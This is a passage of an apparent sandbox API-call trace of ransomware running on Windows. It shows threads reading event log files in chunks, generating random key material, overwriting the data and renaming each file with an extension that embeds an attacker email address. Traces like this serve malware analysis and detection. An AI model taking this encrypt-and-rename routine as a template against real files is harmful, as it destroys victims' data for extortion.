	[0087.675] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Setup.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x194bfbac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Setup.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e278
	[0087.675] NtSetInformationFile (FileHandle=0x1b0c, IoStatusBlock=0x194bfba4, FileInformation=0x476e278, Length=0x82, FileInformationClass=0xa) 

Thread:
	id = 677
	os_tid = 0x19c0

	[0078.217] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20
	[0084.351] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx", dwFileAttributes=0x20) returned 1
	[0087.663] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b14
	[0087.678] GetFileSizeEx (in: hFile=0x1b14, lpFileSize=0x1953fc08 | out: lpFileSize=0x1953fc08*=1118208) returned 1
	[0087.678] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x110ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.678] ReadFile (in: hFile=0x1b14, lpBuffer=0x1953fb8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1953fb88, lpOverlapped=0x0 | out: lpBuffer=0x1953fb8c*, lpNumberOfBytesRead=0x1953fb88*=0x4, lpOverlapped=0x0) returned 1
	[0087.683] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.683] NtQuerySystemTime (in: CurrentTime=0x1953fb68 | out: CurrentTime=0x1953fb68*=132251868144131713) returned 0x0
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xac857cce
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xed351288
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x816b8c28
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xe07e0575
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x8cbbc6ff
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xad72f55c
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xae48c68
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x18f0aca6
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xfe8cef7a
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x1542b37b
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xda0b080a
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x44baef12
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x30748a2b
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x2c17adcc
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x48231369
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xc4ec47b3
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xd92859a6
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x656621f8
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x8084ccbc
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x380d30cd
	[0087.683] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xe3641072
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x4ffdd13b
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x7584c867
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xfa15853e
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x5eeed09a
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x646b32cc
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x66ed5d11
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x278bc464
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x504bb2b3
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x8f87b3e2
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0xc5e7f000
	[0087.684] RtlRandom (in: Seed=0x1953fb74 | out: Seed=0x1953fb74) returned 0x293906c4
	[0087.692] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.692] ReadFile (in: hFile=0x1b14, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1953fb20, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x1953fb20*=0xc800, lpOverlapped=0x0) returned 1
	[0087.694] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.694] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.695] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.695] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.695] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.695] WriteFile (in: hFile=0x1b14, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1953fb20, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x1953fb20*=0xc800, lpOverlapped=0x0) returned 1
	[0087.702] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.702] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.702] ReadFile (in: hFile=0x1b14, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1953fb20, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x1953fb20*=0xc800, lpOverlapped=0x0) returned 1
	[0087.703] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0087.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0087.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0087.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0087.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0087.704] WriteFile (in: hFile=0x1b14, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1953fb20, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x1953fb20*=0xc800, lpOverlapped=0x0) returned 1
	[0087.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.711] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x104800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.711] ReadFile (in: hFile=0x1b14, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1953fb20, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x1953fb20*=0xc800, lpOverlapped=0x0) returned 1
	[0087.712] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x104800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.712] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.712] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0087.712] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.712] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0087.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0087.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0087.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.713] WriteFile (in: hFile=0x1b14, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1953fb20, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x1953fb20*=0xc800, lpOverlapped=0x0) returned 1
	[0087.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734088
	[0087.715] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.715] WriteFile (in: hFile=0x1b14, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x147, lpNumberOfBytesWritten=0x1953fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x1953fbc8*=0x147, lpOverlapped=0x0) returned 1
	[0087.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d781a0) returned 1
	[0087.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0087.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0087.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0087.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.718] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.718] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2d82a18
	[0087.718] wcscpy (in: _Dest=0x2d82a18, _Source="C:\\Logs\\System.evtx" | out: _Dest="C:\\Logs\\System.evtx") returned="C:\\Logs\\System.evtx"
	[0087.718] wcscat (in: _Dest=0x2d82a18, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\System.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\System.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.718] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\System.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1953fb80, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\System.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476e5d8
	[0087.718] NtSetInformationFile (FileHandle=0x1b14, IoStatusBlock=0x1953fb78, FileInformation=0x476e5d8, Length=0x84, FileInformationClass=0xa) returned 0x0
	[0087.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e5d8) returned 1
	[0087.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc710) returned 1
	[0087.819] NtQueryInformationFile (in: FileHandle=0x1b14, IoStatusBlock=0x1953fb8c, FileInformation=0x1953fb64, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1953fb8c, FileInformation=0x1953fb64) returned 0x0
	[0087.819] NtSetInformationFile (FileHandle=0x1b14, IoStatusBlock=0x1953fb8c, FileInformation=0x1953fb64, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.820] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0087.820] FlushFileBuffers (hFile=0x1b14) returned 1
	[0093.235] CloseHandle (hObject=0x1b14) 

Thread:
	id = 678
	os_tid = 0x19c4

	[0078.218] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20
	[0084.352] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx", dwFileAttributes=0x20) returned 1
	[0087.649] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b10
	[0087.659] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x195bf9f0 | out: lpFileSize=0x195bf9f0*=69632) returned 1
	[0087.659] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.659] ReadFile (in: hFile=0x1b10, lpBuffer=0x195bf974, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x195bf970, lpOverlapped=0x0 | out: lpBuffer=0x195bf974*, lpNumberOfBytesRead=0x195bf970*=0x4, lpOverlapped=0x0) returned 1
	[0087.665] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.665] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.665] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.665] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.665] NtQuerySystemTime (in: CurrentTime=0x195bf950 | out: CurrentTime=0x195bf950*=132251868143975511) returned 0x0
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xecff5fc
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x7ab1f7e3
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xe1e99392
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xa3903cb3
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xcd81298c
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x4642f5d9
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xa79344c4
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xfceded1e
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xc3f8ff4f
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xe3d366bd
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x1c8a6de0
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xf29472b3
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x9422256c
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xeb5c7672
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x1187bfb7
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x50787627
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x3ba3be8f
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x7f3f881d
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x144d3822
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x7eced4ae
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x919979e8
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x18300bbb
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x875f4226
	[0087.665] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xef7f5870
	[0087.666] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x8591c96e
	[0087.666] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x2ef104d8
	[0087.666] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x7c1c9503
	[0087.666] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xf296921c
	[0087.666] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x8f08e9c7
	[0087.666] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0xb0007e16
	[0087.666] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x5b300ae0
	[0087.666] RtlRandom (in: Seed=0x195bf95c | out: Seed=0x195bf95c) returned 0x4b858d2c
	[0087.674] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.674] ReadFile (in: hFile=0x1b10, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x195bf930, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x195bf930*=0xc800, lpOverlapped=0x0) returned 1
	[0087.676] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.676] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.677] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.677] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.677] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0087.677] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0087.677] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.677] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.677] WriteFile (in: hFile=0x1b10, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x195bf930, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x195bf930*=0xc800, lpOverlapped=0x0) returned 1
	[0087.679] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.679] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb3d8
	[0087.679] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.679] WriteFile (in: hFile=0x1b10, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x195bf9b0, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x195bf9b0*=0x11f, lpOverlapped=0x0) returned 1
	[0087.681] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.681] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0087.681] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.681] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0087.681] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.681] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0087.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0087.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x86) returned 0x476e308
	[0087.682] wcscpy (in: _Dest=0x476e308, _Source="C:\\Logs\\Windows PowerShell.evtx" | out: _Dest="C:\\Logs\\Windows PowerShell.evtx") returned="C:\\Logs\\Windows PowerShell.evtx"
	[0087.682] wcscat (in: _Dest=0x476e308, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Windows PowerShell.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Windows PowerShell.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.682] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Windows PowerShell.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x195bf968, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Windows PowerShell.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4986470
	[0087.682] NtSetInformationFile (FileHandle=0x1b10, IoStatusBlock=0x195bf960, FileInformation=0x4986470, Length=0x9c, FileInformationClass=0xa) 

Thread:
	id = 679
	os_tid = 0x19c8

	[0079.035] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appconfiguration.xml")) returned 0x20
	[0079.041] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.041] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appconfiguration.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.041] GetLastError () returned 0x5
	[0079.041] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.041] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9d30) returned 1

Thread:
	id = 680
	os_tid = 0x19cc

	[0079.058] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0079.080] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0079.080] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.080] GetLastError () returned 0x5
	[0079.080] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
